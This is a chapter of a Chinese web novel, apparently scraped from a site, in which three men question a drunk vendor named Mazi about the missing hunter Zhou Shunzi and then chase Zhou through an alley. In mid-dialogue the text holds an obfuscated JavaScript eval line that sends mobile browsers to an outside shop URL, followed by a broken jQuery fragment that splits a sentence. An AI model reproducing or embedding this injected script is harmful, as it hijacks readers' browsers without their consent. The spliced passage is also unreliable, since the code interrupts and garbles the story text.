城南的菜市口,算是一个热闹地。
也不是说有多繁华,只是这里有很多热闹可以看。
这里原先也并不是卖菜的,而是砍头的。
金郅城的罪犯都会在宫闱外的城门口斩首示众,可这百姓们平日里百无聊赖,很爱凑这种热闹。
于是,这边的人也就多了起来。
一些小贩也就在这边买起了菜,菜市口因此得名。
不过,这里到了下午,人依旧很多。
窄小的道路上十分拥挤,卖各种小玩意的,卖杂嚼的,甚至还有老鸨在这个路口揽客的。
狗牙儿在这种地方混得很开,他随意上前拦住一个小贩开口问道:“兄弟,这里有个叫周顺子的猎户,你知道他住哪吗?”
那小贩先是反应了一下,而后立马道:“顺子啊!我知道,他就在第三条街最里面那间房。”
“但是他好像没在家啊。”他接着又道。
“没在家?”梁诫挑了挑眉。
“是啊,他昨夜出去就没回来。我和老葛汉昨夜坐在巷口的石墩上喝酒,就见他带着锄头和绳子出去了。”小贩解释道。
“你们是找他来摘草药还是猎牲口啊?”
“我们想找他买一些鱼藤。”梁诫答道。
“那你们要不先去我家等一会儿?我就住在顺子家隔壁。”小贩指了指那边的巷子,问道。
“成。不知兄弟怎么称呼?”梁诫和二人对视一眼,应声道。
“叫我麻子就行。”麻子说着,继续抬起自己小板车,向巷子里走去。
“我来帮你吧。”梁诫上前抬起一边,道。
麻子挥了挥手,“不用,您这衣服看起来就不便宜,再蹭脏了蹭坏了不值当的。您别看我个子小,我力气很大的。平日里推着小车满城跑我也不累。”
梁诫只好作罢,几人走进巷子里。
路边的石墩上坐着一个闲汉,他往嘴里丢了一颗花生米,又喝了口酒。
“麻子回来了,一会儿陪我喝点儿?”
“今天不行,我家来客了。而且我昨夜回去被我媳妇好顿说,这几天不陪你喝酒了。”麻子推脱完,带着三人向里面走去。
最里面的那间还锁着门,旁边的院子大门敞开着。里面有一个娘子坐在板凳上择菜。
“哎呦,你今日怎么回来这么晚?饭都给你做好了,你瞧瞧凉了没有。”麻子媳妇瞧见人进来,说着。
“媳妇,有客人来了。”麻子嘿嘿一笑,将小推车停到一旁。
三人依次打了招呼,“也不算客人,嫂子别拘谨。”梁诫作揖道。
麻子媳妇哎呦一声,盯着梁诫的脸庞滴溜溜地转:“这么俊俏的公子,快请坐快请坐。”
“吃饭了没有?我做了不少呢,你们坐下吃点儿。”说着,她起身将手上的水渍蹭在围裙上,掀开小厨房的帘子。
“我们吃过了,嫂子不用忙活。”
“哎呀,别跟我客气,我手艺可好了。”
麻子也附和道:“一起吃点吧,我媳妇的手艺可是菜市口出了名的一绝。”
不再好推脱,不然太过矫情。
三人互相看了一眼,紧挨着坐下。
麻子从一旁的灶台上摸索出半坛子酒来,鬼鬼祟祟地端到桌子上。
麻子媳妇拿眼睛剜了他一眼,“还喝!”
“嗐,这不是有客人嘛!招待客人哪有不上酒的道理。”麻子皱了皱眉毛,对上自家媳妇视线的那一刻又立马软了下来,伸出一只手低声央求道:“就喝一杯,我就喝一杯。”
麻子媳妇看了眼三人,立马和气地笑了笑,又瞪了自己汉子一眼。“酒一杯。”
“诶!”麻子立马笑开了,连忙给几人都倒了一杯。
“吃菜吃菜。”
说实话,这是叶良玉第一次到别人家蹭饭,有些拘谨。他抬头看向两人,发现狗牙儿是个自来熟的,不但又吃又喝,不大一会儿已经跟麻子划上拳了。
梁诫对上他的视线,微微含笑。“嫂子的手艺真不错,尝尝。”
说着,给他夹了一筷子鱼肉。
叶良玉低头看了一眼,碗里只有一块白花花的鱼肉,皮和刺已经被人剃了去。
他送进嘴里,味道有点重,但真的还不错。
最起码没有过多的腥气,鱼肉软烂入味。
“哎呀!麻子大哥你放心,以后我罩着你!你就是我亲兄弟!”狗牙儿那边已经喝嗨了,他拍着胸脯保证着,就像当初忽悠叶良玉一样。
麻子的双颊已经微微发红,“亲兄弟!”
叶良玉无语,用肩膀狠狠地撞了一下狗牙儿。
狗牙儿一愣,回头看他。
“问正事。”叶良玉低声道。
狗牙儿点点头,冲着他挑了挑眉。一脸包在我身上的表情。
“麻子大哥,你和周顺子关系很好吗?”
麻子怔了一下,没有去管话题为什么转的这么快。
“顺子啊,邻里街坊的,都互相挺照顾。”麻子打了个酒嗝,答道。
“他家里就他一个吗?”狗牙儿一边给麻子倒酒一边漫不经心地问道。
“可不是嘛,他家里就他一个,都三十好几了一直没娶媳妇。”
叶良玉又撞了撞狗牙儿:“问正事!”
狗牙儿虎躯一震,连忙道:“顺子大哥那天出去的时候有什么不一样吗?”
“嗯……不一样的?”
“对,比如说拿了什么东西,神情与往日不同?走的方向等。”叶良玉终于忍不住,自行开口道。
好在麻子已经喝大了,可以说是问什么答什么。
“拿了什么东西……哦!他当时手里拿着锄头和绳子。”麻子先是思索,又灵光一现道。
“绳子?”叶良玉问道。
“对,就是平常绑牲口的那种麻绳。当时他往北边那条街去了。”
叶良玉看了一眼对面的梁诫,梁诫清了清嗓子问道:“他有没有说要去做什么?或者有没有跟你搭话?”
“搭话……没有,我看他脸色不是很好,当时叫他他都没有理我。”麻子说着,拍了拍大腿:“可能是心情不好吧,着急娶媳妇的事儿哈哈哈哈哈……”
“他跟苏家的王婆子认不认识?”叶良玉单刀直入道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11946534|127271||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
麻子咦了一声,“王婆子我还真听他说过,早些年间顺子和她家的大姑娘在一起过,可王婆子嫌弃他粗鄙,加上没什么钱。”说着他看了一圈,叹了口气。
“那王婆子是在大户人家做工的,肯定瞧不上我们这些陋巷里求生活的小门小户。当时闹得还挺难看,登上门来将顺子臭骂了一顿,这几条街都听得见。自从那次,就没人敢给顺子说媳妇了,可能也是顺子忘不了那大姑娘。”麻子声情并茂地说着,还不忘学嘴王婆子是怎么骂的人,张牙舞爪一通后又嗐了一声。
“可惜,王婆子的大姑娘前两日嫁人了。”
嫁给一个穷书生,就是北边那条街的。也没几个钱,整日里靠帮人抄书赚钱。”麻子瘪瘪嘴,很是唏嘘的样子。
看来就是找刘木匠做床榻的那几天。
麻子已经昏昏欲睡,他趴在桌子上,往嘴里塞了两颗毛豆。
狗牙儿推了推他,将酒杯塞进他手里。
“麻子大哥,再喝一杯。”
麻子摆了摆手,“不行了,我喝不下了……”
话音未落,他已经睡死了过去。
狗牙儿正准备将人慌醒,叶良玉拦住了他。
“不用了,可以了。”
那坛子酒基本上全进了他的肚子,能问的也都问了,估计再问也说不出什么来了。
三人简单收拾了下残局,便出去和麻子媳妇告别。
“嫂子,大哥喝醉了。”狗牙儿出声道,他背着麻子,留意着他的动向,生怕他一个不注意在自己背上一吐千里。
麻子媳妇蹲在院子里洗衣服,看见这架势也是一惊,连忙上前。
“放到里屋去就行,慢点。”
麻子媳妇看见麻子喝得烂醉,将怒火压了压,招呼着狗牙儿将人送进屋里。
“哎呦,麻烦你们了。这个老酒鬼!整日里就知道喝个烂醉。”麻子媳妇给他盖上被子,又准备起身送三人出去。
却被麻子拽住了,他酒醺醺地还不忘嘀咕着:“媳妇……媳妇香一口。”
麻子媳妇脸一红,连忙捶了他两下。
“嫂子不用送了,我们先走了。”梁诫作揖告辞,不等麻子媳妇招呼,就带着二人走了出去。
“哎呦,那慢走啊!”
麻子媳妇的声音从屋里传来,“有空再来啊!——”
……
三人从麻子家出来的时候,外面的天色已经暗了。
黄昏的日光照射在这条狭窄的小巷子,灰色的石砖路上投射出一条又一条的沟壑。
耳边传来树叶沙沙作响的声音,远处的鸟儿鸣叫着归巢。
三人正准备走出街巷,就看见一个人从巷口走了进来。
五大三粗的男人步伐稳健,手里拿着锄头和绳子。
在对上三人视线的瞬间,他脸上闪过一丝惊慌。
意识到不对,叶良玉拔腿向前,就见那壮汉转身就跑。
“别跑!周顺子!”
叶良玉怒斥一声,连忙追了上去。
梁诫也反应了过来,落下一句:“狗牙儿,跟紧点。”
就奔了出去。
……